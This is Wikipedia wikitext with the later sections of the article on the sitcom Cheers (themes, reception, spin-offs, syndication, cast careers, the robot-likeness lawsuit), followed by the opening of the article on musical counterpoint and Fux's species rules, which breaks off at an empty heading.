The show's main theme in its early seasons was the stormy romance between upper-class, overeducated server Diane Chambers and earthy ex-[[Pitcher|baseball pitcher]] and bar owner Sam Malone.&lt;ref&gt;Television Heaven (2002)(2006). [http://www.televisionheaven.co.uk/cheers.htm ''Cheers''|A Television Heaven Review]&lt;/ref&gt; In later episodes the focus shifted to Sam's new relationship with neurotic corporate executive Rebecca. Both romances stretched to fill the entire show with varying levels to the relationship, from Sam and Diane/Rebecca hating one another to dating and intimacy. Both relationships were characterized as &quot;will they or won't they&quot; relationships with [[sexual tension]] between two main characters that draw viewers in to see if the tension is resolved.&lt;ref&gt;TV Tropes (2006). [http://www.tvtropes.org/pmwiki/pmwiki.php/Main/WillTheyOrWontThey Will They or Won't They?]&lt;/ref&gt;

In both relationships the tension grew when Sam wanted to date the woman but she continually refused. Diane refused as she believed Sam was immoral with women and below her, the tension coming to a head at the end of the first season when she wants to date Sam's brother. Rebecca is at first only interested in dating executives at her company who might promote her, so she resists Sam's courting.

===Social issues===
Many ''Cheers'' scripts centered around or were improved with a variety of social issues. As ''Toasting Cheers'' puts it:&lt;ref name=&quot;toastingcheers&quot;/&gt;
:''&quot;...the script was further strengthened by the writers' boldness in successfully tackling controversial issues such as alcoholism, homosexuality, and adultery.&quot;''

[[Social class]] was a strong subtext of the show. The &quot;upper class&quot;, represented by characters like Diane Chambers, Frasier Crane, Lilith Sternin and (initially) Rebecca Howe, rubbed shoulders with middle- and working-class characters, like Sam Malone, Carla Tortelli, Norm Peterson and Cliff Clavin. An extreme example of this is the relationship between farmboy Woody Boyd and millionaire's daughter Kelly Gaines. Strong comedic support came from the bar staff, including waitress Carla Tortelli and sometimes-befuddled assistant [[bartender]] Ernie 'Coach' Pantusso ([[Nicholas Colasanto]]). Following Colasanto's death in 1985, the assistant bartender role was filled by another naïve character, Woody Boyd. Many viewers enjoyed ''Cheers'' in part because of this heavy focus on character development.&lt;ref name=&quot;chardevelop&quot;/&gt;&lt;ref name=&quot;toastingcheers&quot;/&gt;

[[Feminism]] and the role of women were also recurring themes throughout the show, with some seeing each of the major female characters as a flawed feminist in her own way.&lt;ref&gt;Dr. Caren Deming. &quot;Talk: Gender Discourse in ''Cheers''!&quot; in ''Television Criticism: Approaches and Applications'' edited by Leah R. Vande Berg and Lawrence A Wenner. White Plains, NY: Longman, 1991. 47-57. The essay is co-authored by Mercilee M. Jenkins, who teaches at San Francisco State University.&lt;/ref&gt; Diane was a very vocal feminist, but Sam was the [[epitome]] of everything she hated: a [[womanizer]] and a [[Male chauvinism|male chauvinist]]. Their relationship led Diane to several diatribes on Sam's promiscuity, while Carla merely insulted people.&lt;ref name=&quot;toastingcheers&quot;/&gt; Carla was respected because of her power, while Diane was ignored as she commanded little respect. Finally, Rebecca was a stereotypical ambitious and [[Age disparity in sexual relationships|golddigging]] woman, seeking relationships with her superiors at the Lillian Corporation, most notably, [[Robin Colcord]], to gain promotions or raises. However, she encountered a [[glass ceiling]] and ended the show by marrying a plumber rather than the one of the rich businessmen she originally flirted with.

[[Homosexuality]] was dealt with from the very first season, a rare move for American network television in the 1980s. In the first season episode &quot;The Boys In The Bar&quot; (after the 1970s film ''[[The Boys in the Band]]'') a college friend and fellow teammate of Sam [[Coming out|comes out]] in his [[autobiography]], some of the male regulars pressure Sam to take action to ensure that Cheers does not became a gay bar.  The episode won a [[Gay and Lesbian Alliance Against Defamation|GLAAD]] [[GLAAD Media Awards|Media Award]],&lt;ref&gt;IMDb (2006). [http://www.imdb.com/title/tt0083399/trivia IMDb Trivia for Cheers]&lt;/ref&gt; and the script's writers, Ken Levine &amp; David Isaacs, both won an Emmy Award for their writing.&lt;ref name=&quot;awards1&quot;/&gt; [[Harvey Fierstein]] would later appear in the 1990s as &quot;Mark Newberger&quot;, Rebecca's old high school sweetheart who is gay. Finally, the finale episode included a gay man who gets into trouble with his boyfriend after agreeing to pose as Diane's husband. 

[[Addiction]] also plays a role in ''Cheers'', almost exclusively through Sam, although some critics believed the issue was never really developed.&lt;ref&gt;The Bemusement Park (May 7th, 2004) (2006). [http://markhasty.com/archives/2004/05/07/the-situation-of-comedy/ The Situation of Comedy]&lt;/ref&gt; Sam was a recovering [[alcoholism|alcoholic]] who ended up buying a bar after his baseball career was ruined by his drinking.&lt;ref&gt;IMDb (2006). [http://www.imdb.com/title/tt0083399/plotsummary IMDb Plot Summary of Cheers]&lt;/ref&gt; Frasier also has a notable bout of drinking in the fourth season episode &quot;The Triangle&quot;, although Sam is the primary alcoholic figure on the show. Some critics believe Sam was a generally [[Addiction|addictive personality]] who had largely conquered his alcoholism but was still a [[Sexual addiction|sexual addict]], shown through his womanizing.&lt;ref&gt;The National Association for Christian Recovery (2006). [http://www.nacronline.com/dox/library/daler/addictio.shtml On Addiction] from: STEPS Volume 2, Issue 1, Winter 1990.&lt;/ref&gt;

{{spoiler}}

===''Cheers'' owners===
[[Image:Cheers_sign.jpg|thumb|right|175px|The ''Cheers'' sign]]
Cheers obviously had several owners before Sam, as the bar was opened in 1889 (The &quot;Est. 1895&quot; on the bar's sign is a made-up date chosen by Carla for [[numerology|numerological]] purposes as revealed in the 8th season episode &quot;The Stork Brings a Crane&quot;). In the second episode, &quot;Sam's Women&quot;, Norm tells a customer looking for the owner of Cheers that the man he thought was the owner has been replaced, and his replacement replaced by Sam. The biggest storyline surrounding the ownership of Cheers begins in the fifth season finale, &quot;I Do, Adieu&quot;, when Sam and Diane part ways, Shelley Long leaves the regular cast, and Sam leaves to attempt [[Circumnavigation|circumnavigating]] the Earth. Before he leaves, Sam sells Cheers to the fictional Lillian Corporation. Sam returns in the sixth season premiere, &quot;Home is the Sailor&quot;, having sunk his boat, to find the bar under the new management of Rebecca Howe. He begs for his job back and is hired by Rebecca as a bartender. Throughout the sixth season, Sam tries a variety of schemes to buy back Cheers. This plot largely comes to an end in the seventh season premiere, &quot;How to Recede in Business&quot;, when Rebecca is fired and Sam promoted to manager. From there Sam would occasionally attempt to buy the bar back with schemes that usually involved wealthy executive [[Robin Colcord]]. Cheers did eventually end up back in Sam's hands in the eighth season finale, when it was sold back to him for eighty-seven [[Cent (U.S. coin)|cents]] by the Lillian Corporation after he alerted the company of Colcord's [[embezzlement]].

===Other recurring themes===
Aside from the storylines that spanned across the series, ''Cheers'' had several themes that followed no storylines but that recurred throughout the series. There was a heated rivalry between Cheers and the rival bar, Olde Towne Tavern, owned by a man named Gary. One episode of every season depicted some wager between Sam and Gary, which resulted in either a sports competition or a battle of wits that devolved into complex practical jokes. Aside from the very first and very last [[References to Star Wars#Cheers .281982-1993.29|&quot;Bar Wars&quot; episodes]], the Cheers gang always lost to Gary's superior ingenuity.

Norm Peterson continually searched for gainful employment as an accountant but spent most of the series unemployed, thereby explaining his constant presence in Cheers at the same stool. The face of his wife, Vera, was [[List of unseen characters#Heard but never completely seen|never fully seen onscreen]], despite a few fleeting appearances and a couple of vocal cameos.

Cliff Clavin seemed unable to shake the constant presence of his mother, Esther Clavin ([[Frances Sternhagen]]). Though she did not appear in every episode, he would refer to her quite often, mostly as both an emotional burden and a smothering parent.

Carla Tortelli carried a reputation of being both extremely fertile and matrimonially inept. The last husband she had on the show, [[Eddie LeBec]], was a washed-up [[ice hockey]] [[goaltender]] who ended up dying in an ice show accident. Carla later discovered that Eddie had cheated on her, marrying another woman after impregnating her. Carla's sleazy first husband, [[Nick Tortelli]], also made frequent appearances, mostly to torment Carla with a new custody battle or legal scam that grew out of their divorce. Carla's eight kids were also notoriously ill-behaved.

{{endspoiler}}

==Critical reactions==
''Cheers'' was critically acclaimed even in its first season, though it landed a disappointing 74th in the ratings that year.&lt;ref&gt;TVParty (2006). [http://www.tvparty.com/80nbc3.html How NBC got its Groove back]&lt;/ref&gt; This critical support, coupled with early success at the Emmys and the support of the president of NBC's entertainment division [[Brandon Tartikoff]], is thought to be the main reason for the show's survival and eventual success.&lt;ref&gt;Variety (May 20th, 2003) (2006). [http://www.variety.com/review/VE1117921154?categoryid=1023&amp;cs=1 Review - ''Cheers'']&lt;/ref&gt;&lt;ref&gt;BBC (July 4th, 2003) (2006). [http://www.bbc.co.uk/dna/h2g2/A1084619 ''Cheers'' - the TV Series]&lt;/ref&gt; The cast themselves went across the country on various [[talk show|talk shows]] to try and further promote the series after its first season. When NBC discovered ''[[Family Ties]]'' and ''[[The Cosby Show]]'' and placed them both on Thursday night with ''Cheers''' second season, the show's audience expanded (starting what NBC would go on to call &quot;[[Must See TV|Must See Thursday]]&quot;). By its final season ''Cheers'' had had a run of eight consecutive seasons of single-digit ratings (that is, ranking 1st-9th in overall ratings).&lt;ref name=&quot;toastingcheers&quot;/&gt; Critics have a variety of opinions on addiction in ''Cheers'' (''[[Cheers#Social issues in Cheers|see above]]''). Some critics now use ''Cheers'' and ''[[Frasier]]'' as a model of a successful spin-off for a character from an already successful series to compare to modern spin-offs, such as ''[[Joey (sitcom)|Joey]]'' from ''[[Friends]]''.&lt;ref&gt;Zap2It (July 24th, 2003) (2006). [http://tv.zap2it.com/tveditorial/tve_main/1,1002,271%7C82470%7C1%7C,00.html A Fine How-You-Doin': NBC Orders ''Friends'' Spinoff ''Joey'']&lt;/ref&gt;&lt;ref&gt;BusinessWeek Online (August 18th, 2004) (2006). [http://www.businessweek.com/bwdaily/dnflash/aug2004/nf20040818_3079_db011.htm Filling the Shoes of Missing Friends]&lt;/ref&gt;

NBC dedicated a whole night to the final episode of ''Cheers''. The show began with a &quot;pregame&quot; show hosted by [[Bob Costas]], followed by the final 98-minute episode itself. Local news then aired tributes to ''Cheers'', and the night concluded with a special ''[[The Tonight Show|Tonight Show]]'' broadcast live from the Bull &amp; Finch Pub. Some critics disliked the finale for the sudden reentry of Shelley Long which they felt was flawed, the odd length of the episode, [[Jay Leno|Leno's]] monologue, and a seemingly uninterested ''Cheers'' cast that resorted to spitball fights. &lt;ref&gt;FiveHole (May 10th-16th, 2004) (2006). [http://holecity.com/asp/fivehole.asp?issue=233&amp;sec=5&amp;hole=1 Five NBC Finales]&lt;/ref&gt;&lt;ref name=&quot;toastingcheers&quot;/&gt; Although the episode fell short of its hyped ratings predictions to become the [[List of most-watched television episodes|most-watched television episode]], it was the most watched show that year and ranked 11th all time in entertainment programming. The episode originally aired in the usual ''Cheers'' spot of Thursday night and was then rebroadcast on Sunday. Some estimate that while the original broadcast did not outperform the [[Goodbye, Farewell, and Amen (M*A*S*H episode)|''M*A*S*H'' finale]], the combined non-repeating audiences for the Thursday and Sunday showings did. ''Toasting Cheers'' also notes that television had greatly changed between the ''[[M*A*S*H (TV series)|M*A*S*H]]'' and ''Cheers'' finales, leaving ''Cheers'' with a broader array of competition for ratings.&lt;ref name=&quot;toastingcheers&quot;/&gt;

==Spin-offs and Crossovers==
[[Image:Cheers on the simpsons.jpg|thumb|right|Woody, Cliff, and Norm on ''The Simpsons'']]

Some of the actors and actresses from ''Cheers'' brought their characters into other television shows, either in a guest appearance or in a new spin-off. The most successful ''Cheers'' spin-off was the show ''[[Frasier]]'' which directly followed Frasier Crane after moving back to [[Seattle, Washington]], where he lived with his family and hosted a call-in radio show. Ironically, Frasier was originally supposed to be a small disliked character who only existed to further Diane and Sam's relationship, but Grammer's acting turned what were supposed to be unfunny lines into comedy the audience enjoyed.&lt;ref&gt;Poobala (2006). [http://www.poobala.com/cheersandfrasier.html Notes on ''Cheers'' / ''Frasier'' crossovers]&lt;/ref&gt; Sam, Diane, and Woody all had individual crossover appearances on ''Frasier'' where they came to visit Frasier, and his ex-wife [[Lilith Sternin|Lilith]] remained a constant supporting character throughout ''Frasier''. Cliff, Norm, Carla, and two of Cheers' regular background barflies Paul and Phil had a crossover together in the [[List of Frasier episodes|''Frasier'' episode]] &quot;Cheerful Goodbyes&quot;. Frasier, on a trip to Boston, meets the Cheers gang and Cliff thinks Frasier has flown out for his (Cliff's) retirement party, which Frasier ends up attending. ''Frasier'' was on the air as long as ''Cheers'', going off the air in 2004 after an eleven-season run. Although ''Frasier'' was the most successful spin-off, ''[[The Tortellis]]'' was the first series to spin-off from ''Cheers'', premiering in 1987. The show featured Carla's husband [[Nick Tortelli]] and his wife [[Loretta Tortelli|Loretta]], but was cancelled after 13 episodes and drew protests for its stereotypical depictions of Italian Americans.

In addition to direct spin-offs, several ''Cheers'' characters had guest appearance crossovers with other shows. In ''[[The Simpsons]]'' episode &quot;[[Fear of Flying (Simpsons)|Fear of Flying]]&quot;, Homer stumbles into a Cheers-like bar after being kicked out of [[Moe Szyslak|Moe's]]. Most of the central cast appears in the episode, including Frasier, but he is the only character to remain silent despite Grammer being the only common guest star on ''The Simpsons'' (he voices the recurring character [[Sideshow Bob]]). The tagline for Moe's Tavern &quot;Where nobody knows your name&quot; is also a reference to ''Cheers''. Characters also had crossovers with ''[[Wings (TV series)|Wings]]''&amp;mdash;which was created by ''Cheers'' producers/writers&amp;mdash;and ''[[St. Elsewhere]]'' in a somewhat rare comedy-drama crossover.&lt;ref&gt;Poobala (2006). [http://www.poobala.com/cheersandelsewhere.html Notes on ''Cheers'' / ''St. Elsewhere'' crossover]&lt;/ref&gt; Finally, the ''[[Star Trek]]'' character [[List of Star Trek: Deep Space Nine characters#Morn|Morn]], who can always be spotted at [[Quark (Star Trek)|Quark's Bar]], is named for Norm Peterson.&lt;ref&gt;TV Acres (January 24th, ????) (2006). [http://www.tvacres.com/greetings_norm.htm Nor-r-rm!]&lt;/ref&gt;

==Syndication and home video==
[[Image:B0001NBNIY.jpg|thumb|130px|Season 3 DVD]]
''Cheers'' grew in popularity as it aired on American television and entered into syndication. When the show went off the air in 1993, ''Cheers'' was syndicated in 38 countries with 179 American television markets and 83 million viewers.&lt;ref name=&quot;toastingcheers&quot;/&gt; Then, after going off the air,&lt;ref name=&quot;synd1&quot;&gt;International Real Estate Digest (August 20th, 2001) (2006). [http://www.ired.com/news/2001/0108/cheers.htm Boston Gets a Hollywood ''Cheers'' Pub]&lt;/ref&gt; ''Cheers'' entered a long, successful, and continuing syndication run&lt;ref name=&quot;chardevelop&quot;/&gt; on ''[[Nick at Nite]]''. While the quality of some earlier footage of ''Cheers'' had begun to degrade, it underwent a careful restoration in 2001 due to its continued success.&lt;ref&gt;Kodak (October 2001) (2006). [http://www.kodak.com/US/en/motion/newsletters/inCamera/oct2001/cheers.shtml ''Cheers'' restored for a new generation of laughs]&lt;/ref&gt; Notably, a ''Cheers'' rerun replaced ''[[Australia's Naughtiest Home Videos]]'' on Australia's [[Nine Network]]. The latter was cancelled mid-episode on its only broadcast by [[Kerry Packer]], who pulled the plug after a phone call. ''Cheers'' was aired by [[NCRV]] in the [[Netherlands]]. After the last episode, NCRV simply began re-airing the series, and then again, thus airing the show three times in a row, showing an episode nightly. [[Paramount Studios]] began to release individual seasons of ''Cheers'' on [[DVD]] with the first seasons on [[May 20]], [[2003]], the seventh season being the most recently released on [[November 15]], [[2005]].&lt;ref&gt;Amazon (2006). The [http://www.amazon.com/gp/product/B00008NV4G First Season] and [http://www.amazon.com/gp/product/B000B5XOTS Seventh Season] on Amazon&lt;/ref&gt;

==Post-Cheers==
''Cheers'' was a successful enough show to launch the careers of several young actors. Grammer was arguably the most successful with his spin-off ''[[Frasier]]'', which lasted for the same eleven season run ''Cheers'' had. By the final season of ''Frasier'', Grammer had become the highest paid actor on television,&lt;ref&gt;Yahoo News (2006). [http://movies.yahoo.com/movie/contributor/1800020246/bio Kelsey Grammer's Yahoo biography]&lt;/ref&gt; earning about [[United States dollar|$]]1.6 million an episode. Harrelson has also had a successful career following ''Cheers'' including appearances in a number of notable films that have established him as a box office draw. He also earned an [[Academy Award]] nomination in [[1997]] for ''[[The People vs. Larry Flynt]]''. Danson, who had been the highest paid ''Cheers'' cast member earning $450,000 an episode in the final season,&lt;ref&gt;IMDb (2006). [http://www.imdb.com/name/nm0001101/bio Ted Danson's IMDb Bio]&lt;/ref&gt; has starred in the successful sitcom ''[[Becker]]'' but has had few starring film roles. Ratzenberger has voice acted in all of [[Pixar]]'s [[computer animation|computer-animated]] feature films and currently hosts the [[Travel Channel]] show ''[[John Ratzenberger's Made in America|Made in America]]''.&lt;ref&gt;Travel Channel (2006). [http://travel.discovery.com/fansites/jrmia/jrmia.html ''Made in America'' - Travel Channel]&lt;/ref&gt; On ''Made in America'' he travels around the [[United States]] showing the stories of small towns and the goods they produce. Coincidentally, Ted Danson starred in a film also called ''[[Made in America (film)|Made in America]]''. Bebe Neuwirth has gone on to star in numerous [[Broadway theatre|Broadway musicals]], earning two [[Tony Award|Tony Awards]] for her work. Kirstie Alley has starred in numerous [[Miniseries|miniseries]] and film roles. Although some believe Shelley Long leaving the show was a bad career move&lt;ref&gt;The Cincinnati Post (March 5th, 1999) (2006). [http://www.cincypost.com/sports/1999/xunote030599.html At least XU's gaffe didn't blow a career]&lt;/ref&gt;, she has gone on to star in several television and film roles, notably ''[[The Brady Bunch Movie]]'' and its sequel.
[[Image:Fat actress.jpg|thumb|right|125px|Kirstie Alley in ''Fat Actress'']]

In addition to continuing careers after ''Cheers'', some of the cast members have had personal problems. In 2004 Shelley Long grew [[depression|depressed]] after divorcing her husband of 23 years and appears to have attempted suicide by overdosing on drugs.&lt;ref&gt;FemaleFirst (November 25th, 2004) (2006). [http://www.femalefirst.co.uk/celebrity/15512004.htm Shelley Long's overdose]&lt;/ref&gt;&lt;ref&gt;Prevent Suicide Now (November 26th, 2004) (2006). [http://www.preventsuicidenow.com/shelley-long-attempts-suicide.html Actress Shelley Long Attempts Suicide]&lt;/ref&gt; Her friends report she has continued to sink into depression, eating improperly and sometimes refusing to leave bed. Kirstie Alley gained a significant amount of weight after ''Cheers'', which somewhat affected her career. She went on to write and star in a show partly based on her life and weight gain, ''[[Fat Actress]]''.

The [[Host Marriott Corporation]] installed 46 bars modeled after ''Cheers'' in their hotel and airport lounges.&lt;ref name=&quot;toastingcheers&quot;/&gt; [[Paramount Pictures]] licensed the characters and details of the show, allowing the bars to have fake memorabilia such as Sam Malone's supposed jersey while playing for the Red Sox. One of the details Marriott included were two robots, &quot;Bob&quot; and &quot;Hank&quot;, one of which was [[Norm Peterson|heavy]] and the other wore a [[Clifford Clavin|Postal uniform]].&lt;ref name=&quot;supreme2&quot;&gt;E News Online (Oct 2th, 2000) (2006). [http://www.eonline.com/News/Items/0,1,7176,00.html Wendt/Ratzenberger's case is reinstated by the Supreme Court]&lt;/ref&gt;

Ratzenberger and Wendt filed a groundbreaking [[lawsuit]] against Paramount in 1993, claiming that the company was illegally licensing and earning off their images without their permission.&lt;ref&gt;E News Online (Sep 25th, 2000) (2006). [http://www.eonline.com/News/Items/0,1,7144,00.html Wendt and Ratzenberger bring their case to the Supreme Court]&lt;/ref&gt; Ratzenberger and Wendt claimed that Paramount cannot earn off of their images simply because the robots are dressed like the characters Paramount still holds rights over. The case was dismissed by a [[Superior court|Los Angeles Superior Court]] judge in 1996,&lt;ref name=&quot;toastingcheers&quot;/&gt; though a [[United States federal judge|federal judge]] reinstated the case in the LA court. Paramount tried to bring the case before the [[Supreme Court of the United States]], but the court refused to hear the case, instead merely reaffirming the ruling to reinstate the case in the Superior Court.&lt;ref name=&quot;supreme2&quot;/&gt; Some believe the case could have had significant implications in [[Hollywood, Los Angeles, California|Hollywood]], as its outcome would have determined whether rights over a character imply rights to reproduce the actor's image with or without his or her permission, so long as the image is of the actor as the character. However, Paramount settled with the two before the suit was ruled on. &lt;ref&gt;MarkRoesler.com (2006). [http://www.markroesler.com/ipresources/rightofpublicity.htm Several Intellectual Property cases, including a section on the ''Cheers'' case]&lt;/ref&gt; In addition to the characters, the ''Cheers'' [[Title sequence|opening sequence]] and theme song has become iconic. Because of this, the sequence is a common target for [[parody]], such as on [[YTMND]].&lt;ref&gt;YTMND (2005). [http://cheerstoyourthemannowdog.ytmnd.com/ Cheers to YTMND]&lt;/ref&gt;

===Outside the bar===
[[Image:Cheers bar.JPG|thumb|right|185px|right|The bar set]]
Most early episodes took place entirely within the confines of the bar. When the series became a hit, the characters started venturing further afield, first to other sets and eventually to an occasional exterior location. The exterior location shots of the bar were actually of the Bull &amp; Finch Pub, north of [[Boston Common]], which has become a [[tourist attraction]] because of its association with the series and draws in nearly a million visitors annually.&lt;ref name=&quot;synd1&quot;/&gt;&lt;ref name=&quot;toastingcheers&quot;/&gt; It has since been renamed Cheers Beacon Hill,&lt;ref&gt;Cheers Boston (2006). [http://www.cheersboston.com/index_bh.htm Cheers Beacon Hill]&lt;/ref&gt; though its interior is different from the TV bar. To further capitalize on the show's popularity, another bar, Cheers Faneuil Hall,&lt;ref&gt;Cheers Boston (2006). [http://www.cheersboston.com/index_fh.htm Cheers Faneuil Hall]&lt;/ref&gt; was built to be a replica of the show's set to provide tourists with a bar whose interior was closer to the one they saw on TV. It is near [[Faneuil Hall]], about a mile from the Bull &amp; Finch Pub. In 1997 Europe's first officially licensed Cheers bar opened in London's Regent's Street W1 &lt;ref&gt;Cheers London (2003). [http://cheersbarlondon.com Cheers London]&lt;/ref&gt;. Like Cheers Faneuil Hall, Cheers London is an exact replica of the set. The gala opening was attended by James Burrows and cast members George Wendt and John Ratzenberger &lt;ref&gt; ''USA Today'' (September 23, 1997).&lt;/ref&gt;. The actual bar set is now on permanent display at the Hollywood Entertainment Museum.&lt;ref&gt;Hollywood Entertainment Mueseum (2006). [http://www.seeing-stars.com/Museums/HollywoodEntertainment.shtml Hollywood Entertainment Mueseum]&lt;/ref&gt;
&lt;br clear=&quot;all&quot;&gt;

==References==
&lt;div style=&quot;font-size:90%&quot;&gt;
:''(published date if available) (retrieval date)''
:''Cheers''. Created by [[James Burrows]], [[Glen Charles]] and [[Les Charles]]. 1982-1993. Broadcast and DVD.
&lt;references/&gt;
&lt;/div&gt;
&lt;!-- When adding a ref/note, please be sure to conform to the style already used in this page.  Thank you! --&gt;

==External links==
{{wikiquote}}
*{{imdb title|id=0083399|title=Cheers}}
*[http://www.rsmith.org.uk/frasier/multimedia/cheers_theme.mp3 ''Cheers'' Theme Song (.mp3 format)]
*[http://expage.com/theweddingcampaign ''Cheers'' Reunion/Wedding Campaign]
*[http://wannabe.at/cheers The Unofficial ''Cheers'' fansite]
*[http://www.tvseriesfinale.com/2006/01/cheers_tvs_favorite_bar_closes.html TV Series Finale - Cheers page &amp; podcast]

{{featured article}}

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      <text xml:space="preserve">:''This article is about the concept of counterpoint in [[music]]. For the ''[[Star Trek: Voyager]]'' episode of the same title, see [[Counterpoint (Voyager episode)]].''

'''Counterpoint''' is a [[music|musical]] technique involving the simultaneous sounding of separate musical lines.  It is especially prominent in Western music.  In all eras, writing of counterpoint has been subject to rules, sometimes strict.  Counterpoint written before approximately [[1600]] is usually known as [[polyphony]].

The term comes from the Latin ''punctus contra punctum'' (&quot;note against note&quot;). The adjectival form ''contrapuntal'' shows this Latin source more transparently.  

By definition, [[Chord (music)|chords]] occur when multiple notes sound simultaneously; however, chordal, harmonic, &quot;[[vertical (music)|vertical]]&quot; features are considered secondary and almost incidental when counterpoint is the predominant textural element.  Counterpoint focuses on melodic interaction rather than harmonic effects generated when melodic strands sound together.  It was elaborated extensively in the [[Renaissance_music|Renaissance]] period, but composers of the [[Baroque_music|Baroque]] period brought counterpoint to a kind of culmination, and it may be said that, broadly speaking, [[harmony]] then took over as the predominant organising principle in musical composition. The late Baroque composer [[Johann Sebastian Bach]] wrote most of his music incorporating counterpoint, and explicitly and systematically explored the full range of contrapuntal possibilities in such works as [[The Art of Fugue]].

Given the way terminology in music history has evolved, such music created from the [[Baroque_music|Baroque]] period on is described as contrapuntal, while music from before Baroque times is called [[polyphony|polyphonic]].  Hence, the earlier composer [[Josquin Des Prez]] is said to have written polyphonic music.

[[Homophony]], by contrast with polyphony, features music in which [[chord (music)|chord]]s or vertical [[interval (music)|intervals]] work with a single melody without much consideration of the melodic character of the added ''accompanying'' elements, or of their melodic interactions with the melody they accompany.  As suggested above, most popular music written today is predominantly homophonic &amp;mdash; governed by considerations of chord and harmony. But these are only strong general tendencies, and there are many qualifications one could add.

The form or compositional genre known as [[Fugue (music)|fugue]] is perhaps the most complex contrapuntal convention. Other examples include the [[round (music)|round]] (familiar in folk traditions) and the [[Canon (music)|canon]].

In musical composition, counterpoint is an essential means for the generation of musical ''ironies''; a melodic fragment, heard alone, may make a particular impression, but when it is heard simultaneously with other melodic ideas, or combined in unexpected ways with itself, as in a canon or fugue, surprising new facets of meaning are revealed. This is a means for bringing about ''[[Musical development|development]]'' of a musical idea, revealing it to the listener as conceptually more profound than a merely pleasing melody.

Excellent examples of counterpiont in jazz include [[Gerry Mulligan]]'s ''Young Blood'' and [[Bill Holman]]'s ''Invention for Guitar and Trumpet'' and his ''Theme and Variations'' as well as recordings by [[Stan Getz]], [[Bob Brookmeyer]], [[Johnny Richards]] and [[Jimmy Giuffre]]. (Corozine 2002, p.34)

== Species counterpoint ==

Species counterpoint is a type of strict counterpoint, developed as a pedagogical tool, in which a student progresses through several &quot;species&quot; of increasing complexity, gradually attaining the ability to write free counterpoint according to the rules at the given time.  The idea is at least as old as [[1532]], when [[Giovanni Maria Lanfraco]] described a similar concept in his ''Scintille di musica''.  The late [[16th century]] [[Venetian school|Venetian]] theorist [[Gioseffe Zarlino|Zarlino]] elaborated on the idea in his influential ''Le institutioni harmoniche'', and it was first presented in a codified form in 1619 by [[Lodovico Zacconi]] in his ''Prattica di musica''.  Zacconi, unlike later theorists, included a few extra contrapuntal techniques as species, for example [[invertible counterpoint]].

By far the most famous pedagogue to use the term, and the one who made it famous, was [[Johann Fux]].  In [[1725]] he published ''Gradus ad Parnassum'' (''Step by Step Up Mount Parnassus'') a work intended to help teach students how to compose, using counterpoint &amp;mdash; specifically, the contrapuntal style as practiced by [[Giovanni Pierluigi da Palestrina|Palestrina]] in the late 16th century &amp;mdash; as the principal technique.  Fux described five ''species'':

#Note against note;
#Two notes against one;
#Four notes against one;
#Notes offset against each other (as suspensions);
#All the first four species together, as &quot;florid&quot; counterpoint.

===Considerations for all species===

Students of species counterpoint usually practice writing counterpoint in all the modes (Ionian, Dorian, Phrygian, Lydian, Mixolydian and Aeolian).  The following rules apply to melodic writing in all species:

#The counterpoint must begin and end on a perfect consonance.
#The final must be approached by step.  If approached from below, the leading tone must be raised, except in the case of the Phrygian mode.  Thus, in the Dorian mode on D, a C# is necessary at the cadence.
#Permitted melodic intervals are the perfect fourth, fifth, and octave, as well as the major and minor second, major and minor third, and ascending minor sixth.  When the ascending minor sixth is used it must be immediately followed by motion downwards.
#If writing two skips in the same direction--something which must be done only rarely--the second must be smaller than the first, and the interval between the first and the third note may not be dissonant.
#If writing a skip in one direction, it is best to proceed after the skip with motion in the other direction.
#Contrary motion should predominate.
#The interval of a tenth should not be exceeded between the two parts, unless necessary.
#The interval of a [[tritone]] in three notes is to be avoided (for example, a melodic motion F - A - B natural), as is the interval of a seventh in three notes.

===First species===

In ''first species'' counterpoint, each note in an added part* (or parts) sounds against one note in the cantus firmus.  Notes in all parts are sounded simultaneously, and move against each other simultaneously.  The species is said to be ''expanded'' if any of the added notes is broken up (simply repeated).

A few further rules given by Fux, by study of the Palestrina style, and usually given in the works of later counterpoint pedagogues, are as follows.  Some are vague, and since good judgement and taste have been regarded by contrapuntists as more important than strict observance of mechanical rules, there are many more cautions than prohibitions.

#Begin and end on either the unison, octave, or fifth, unless the added part is underneath, in which case begin and end only on unison or octave.
#Use no unisons except at the beginning or end.
#Avoid hidden or parallel fifths or octaves.
#Attempt to keep the two parts within a tenth of each other, unless an exceptionally pleasing line can be written outside of that range.
#Avoid moving in parallel thirds or sixths for too long.
#Avoid having both parts move in the same direction by skip.
#Attempt to have as much contrary motion as possible.

In the following examples, all in two voices, the [[cantus firmus]] &amp;mdash; the given part &amp;mdash; is in the lower voice.  The same cantus firmus is used for each, and each is in the [[Dorian mode]].
[[Image:species1.png|center|500px|thumb|Short example of &quot;First Species&quot; counterpoint]]

===Second species===

In ''second species'' counterpoint, two notes in the added part (or parts) work against each longer note in the given part.  The species is said to be expanded if one of the two shorter notes differs in length from the other.

Additional considerations in second species counterpoint are as follows, and are in addition to the considerations for first species:
#It is permissible to begin on an upbeat, leaving a half-rest in the added voice.
#The accented beat must have only consonance (perfect or imperfect).  The unaccented beat may have dissonance, but only as a passing tone, i.e. it must be approached and left by step in the same direction.
#Avoid the interval of the unison except at the beginning or end of the example, except that it may occur on the unaccented portion of the bar. 
#Use caution with successive accented perfect fifths or octaves.  They must not be used as part of a sequential pattern.
[[Image:species2.png|center|500px|thumb|Short example of &quot;Second Species&quot; counterpoint]]

===Third species===

In ''third species'' counterpoint, four (or three) notes move against each longer note in the given part.  As with second species, it is expanded if the shorter notes vary in length among themselves.
[[Image:species3.png|center|500px|thumb|Short example of &quot;Third Species&quot; counterpoint]]

===Fourth species===

In ''fourth species'' counterpoint, a note is sustained or ''suspended'' in an added part while notes move against it in the given part, creating a [[Consonance and dissonance|dissonance]], followed by the suspended note then changing (and &quot;catching up&quot;) to create a subsequent [[Consonance and dissonance|consonance]] with the note in the given part as it continues to sound.  Fourth species counterpoint is said to be expanded when the added-part notes vary in length from each other.  The technique requires chains of notes sustained across the boundaries determined by beat, and so creates [[syncopation]].
[[Image:species4.png|center|500px|thumb|Short example of &quot;Fourth Species&quot; counterpoint]]

===Florid counterpoint===

In ''fifth species'' counterpoint, sometimes called ''florid counterpoint'', the other four species of counterpoint are combined within the added part (or added parts).  In the example, the first and second bars are second species, the third bar is third species, and the fourth and fifth bars are third and embellished fourth species.
[[Image:species5.png|center|500px|thumb|Short example of &quot;Florid&quot;  counterpoint]]

===General notes===

